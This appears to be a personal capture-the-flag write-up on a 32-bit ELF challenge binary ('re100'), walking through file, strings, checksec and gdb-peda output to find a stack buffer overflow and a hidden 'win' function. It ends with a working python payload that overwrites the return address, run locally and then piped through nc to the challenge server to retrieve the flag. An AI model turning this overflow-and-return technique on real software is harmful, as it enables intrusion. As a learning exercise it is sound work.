I recently participated in a company CTF. I found I enjoyed the binary challenges the most. I have some experience in IDA and looking through assembly code but it’s very minimal. I found a fantastic online tutorial that really helped me through this challenge. http://codearcana.com/posts/2013/05/28/introduction-to-return-oriented-programming-rop.html. This is in no way a comprehensive guide, more of a brain dump.

Not having much of a framework to go from which would have been useful. I just wanted to document the procedure I took so I could easily reference it later.

First I simply wanted to see what kind of file I was preparing to debug/disassemble.

What kind of file am I working with

 
  $ file re100 
  re100: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=549e3cf4e1ce9b054be7065cded07c93c59b158a, not stripped
 

From research I also found that strings is helpful in identifying just that “strings” that are contained within the binary. It found a very peculiar one “overflow” (the strings output is condensed FYI).

Strings output

 
  $ strings re100.    
  fclose@@GLIBC_2.1
  overflow
  puts@@GLIBC_2.0
  stdin@@GLIBC_2.0
  fopen@@GLIBC_2.1
  stdout@@GLIBC_2.0
  main

I also want to check what kind of security the file may have been compiled with. So NX or non-execute is enabled. Which means that the binary does not allow segments to be executable. http://blog.siphos.be/2011/07/high-level-explanation-on-some-binary-executable-security/

Checksec

 
  gdb-peda$ checksec
  CANARY    : disabled
  FORTIFY   : disabled
  NX        : ENABLED
  PIE       : disabled
  RELRO     : Partial
 

One tool I was not aware of before this is gdb-peda. It provided very useful as opposed to looking at the output with vanilla gdb. It’s main function is to enhance the display of gdb which does make it easier to view. Especially when you are looking at output for hours. https://github.com/longld/peda

So having a basic idea of what I want to look for when I started debugging. I wanted to test the program itself.

Testing

 
  ./re100 
  Welcome to Return Oriented Programing 101! I am your instructor, Dr. Chain.
  Today we will learn how to return to an arbitrary address. Begin!
  Input:Hello
 

…more testing

 
  $ ./re100
  Welcome to Return Oriented Programing 101! I am your instructor, Dr. Chain.
  Today we will learn how to return to an arbitrary address. Begin!
  Input:FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
  Segmentation fault
 

Obviously there is some kind of overflow issue as the program terminates with a segmentation fault. Testing again inside the debugger.

Testing with the debugger

 
  db-peda$ r
  Starting program: /home/evan/re100 
  Welcome to Return Oriented Programing 101! I am your instructor, Dr. Chain.
  Today we will learn how to return to an arbitrary address. Begin!
  Input:FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF

  [----------------------------------registers-----------------------------------]
  EAX: 0x0 
  EBX: 0x1c 
  ECX: 0xf7fad89c --> 0x0 
  EDX: 0xffffd4e0 ('F' , "\n")
  ESI: 0xf7fac000 --> 0x1d4d6c 
  EDI: 0x0 
  EBP: 0xa4646 ('FF\n')
  ESP: 0xffffd510 --> 0x8048832 ("Input:")
  EIP: 0x804869f (:   mov    ebx,DWORD PTR [ebp-0x4])
  EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
  [-------------------------------------code-------------------------------------]
     0x8048690 :   call   0x8048420 
     0x8048695 :   call   0x804860e 
     0x804869a :  mov    eax,0x0
  => 0x804869f :  mov    ebx,DWORD PTR [ebp-0x4]
     0x80486a2 :  leave  
     0x80486a3 :  ret    
     0x80486a4: xchg   ax,ax
     0x80486a6: xchg   ax,ax
  [------------------------------------stack-------------------------------------]
  0000| 0xffffd510 --> 0x8048832 ("Input:")
  0004| 0xffffd514 --> 0x0 
  0008| 0xffffd518 --> 0x804a000 --> 0x8049f14 --> 0x1 
  0012| 0xffffd51c --> 0x8048702 (<_libc_csu_init+82>:  add    edi,0x1)
  0016| 0xffffd520 --> 0x0 
  0020| 0xffffd524 --> 0x0 
  0024| 0xffffd528 --> 0x0 
  0028| 0xffffd52c --> 0x0 
  [------------------------------------------------------------------------------]
  Legend: code, data, rodata, value
  Stopped reason: SIGSEGV
  0x0804869f in main ()
 

I can see that the input must only allow for a certain number of characters. 42 seemed to be the sweet spot after testing this more than a few times. So based on that I am able to overwrite EBP. Overloading it further I can then look at the registers and see I can overwrite the instruction pointer EIP. At this point I’m still a little lost, but the flow is becoming apparent.

 
  gdb-peda$ i r
  eax            0xffffd4e0 0xffffd4e0
  ecx            0xf7fad89c 0xf7fad89c
  edx            0xffffd4e0 0xffffd4e0
  ebx            0x1c   0x1c
  esp            0xffffd510 0xffffd510
  ebp            0x46464646 0x46464646
  esi            0xf7fac000 0xf7fac000
  edi            0x0    0x0
  eip            0x46464646 0x46464646
  eflags         0x10246    [ PF ZF IF RF ]
  cs             0x23   0x23
  ss             0x2b   0x2b
  ds             0x2b   0x2b
  es             0x2b   0x2b
  fs             0x0    0x0
  gs             0x63   0x63
 

I dug deeper into the binary file and found a function called win, which calls the file flag.txt. Exactly what I’m looking for.

 
  .text:0804859D                 push    ebp
  .text:0804859E                 mov     ebp, esp
  .text:080485A0                 sub     esp, 128h
  .text:080485A6                 mov     dword ptr [esp+4], offset modes ; "r"
  .text:080485AE                 mov     dword ptr [esp], offset filename ; "flag.txt"
 

  gdb-peda$ disas win
  Dump of assembler code for function win:
     0x0804859d <+0>:   push   ebp
     0x0804859e <+1>:   mov    ebp,esp
     0x080485a0 <+3>:   sub    esp,0x128
     0x080485a6 <+9>:   mov    DWORD PTR [esp+0x4],0x8048740
     0x080485ae <+17>:  mov    DWORD PTR [esp],0x8048742
     0x080485b5 <+24>:  call   0x8048490 
     0x080485ba <+29>:  mov    DWORD PTR [ebp-0xc],eax
     0x080485bd <+32>:  mov    eax,DWORD PTR [ebp-0xc]
     0x080485c0 <+35>:  mov    DWORD PTR [esp+0x8],eax
     0x080485c4 <+39>:  mov    DWORD PTR [esp+0x4],0xff
     0x080485cc <+47>:  lea    eax,[ebp-0x10b]
     0x080485d2 <+53>:  mov    DWORD PTR [esp],eax
     0x080485d5 <+56>:  call   0x8048440 
     0x080485da <+61>:  mov    DWORD PTR [esp],0x804874c
     0x080485e1 <+68>:  call   0x8048460 
     0x080485e6 <+73>:  lea    eax,[ebp-0x10b]
     0x080485ec <+79>:  mov    DWORD PTR [esp],eax
     0x080485ef <+82>:  call   0x8048460 
     0x080485f4 <+87>:  mov    eax,DWORD PTR [ebp-0xc]
     0x080485f7 <+90>:  mov    DWORD PTR [esp],eax
     0x080485fa <+93>:  call   0x8048450 
     0x080485ff <+98>:  mov    eax,ds:0x804a060
     0x08048604 <+103>: mov    DWORD PTR [esp],eax
     0x08048607 <+106>: call   0x8048430 
     0x0804860c <+111>: leave  
     0x0804860d <+112>: ret    
  End of assembler dump

Logically I would think 0x0804859d should output what is in flag.txt. So ideally I would like to call the function at 0x0804859d. I just need to work up a payload that will call that address. Looking at the disassembly of the overflow function I can see that the stack is only 0x28 bytes long based on the eax,[ebp-0x28] so it should allow me to overwrite the address on the stack hopefully.


  gdb-peda$ disas overflow
  Dump of assembler code for function overflow:
     0x0804860e <+0>:   push   ebp
     0x0804860f <+1>:   mov    ebp,esp
     0x08048611 <+3>:   sub    esp,0x38
     0x08048614 <+6>:   mov    eax,ds:0x804a040
     0x08048619 <+11>:  mov    DWORD PTR [esp+0x8],eax
     0x0804861d <+15>:  mov    DWORD PTR [esp+0x4],0x42
     0x08048625 <+23>:  lea    eax,[ebp-0x28]
     0x08048628 <+26>:  mov    DWORD PTR [esp],eax
     0x0804862b <+29>:  call   0x8048440 
     0x08048630 <+34>:  leave  
     0x08048631 <+35>:  ret    
  End of assembler dump.

After some more reading, going through the tutorials in the introduction to rop link, and staring at the debugging output for a looooooong while. I was able to craft my payload. Keep in mind this took many attempts to get it correct. A is my string while my overflow is FFFF which then overwrites the return address. Not the most technical explanation I know.

Payload


  $ python -c 'print "A" * 0x28 + "FFFF" + "\x9D\x85\x04\x08"' | ./re100
  Welcome to Return Oriented Programing 101! I am your instructor, Dr. Chain.
  Today we will learn how to return to an arbitrary address. Begin!
  Input:Great work, but that was hardly what anyone would consider ROP, here is your reward:
  Good Work!

  Segmentation fault

  $ cat flag.txt 
  Good Work!

Boom our payload works and we are able to capture the flag. This is completed locally. Now I just need to test it against the remote system.


  $ python -c 'print "A" * 0x28 + "FFFF" + "\x9D\x85\x04\x08"' | nc x.x.x.x 8192
  Welcome to Return Oriented Programing 101! I am your instructor, Dr. Chain.
  Today we will learn how to return to an arbitrary address. Begin!
  Input:Great work, but that was hardly what anyone would consider ROP, here is your reward:
  ctf{36672de7e20929e1ad892b2cda144acb} 

Hooray!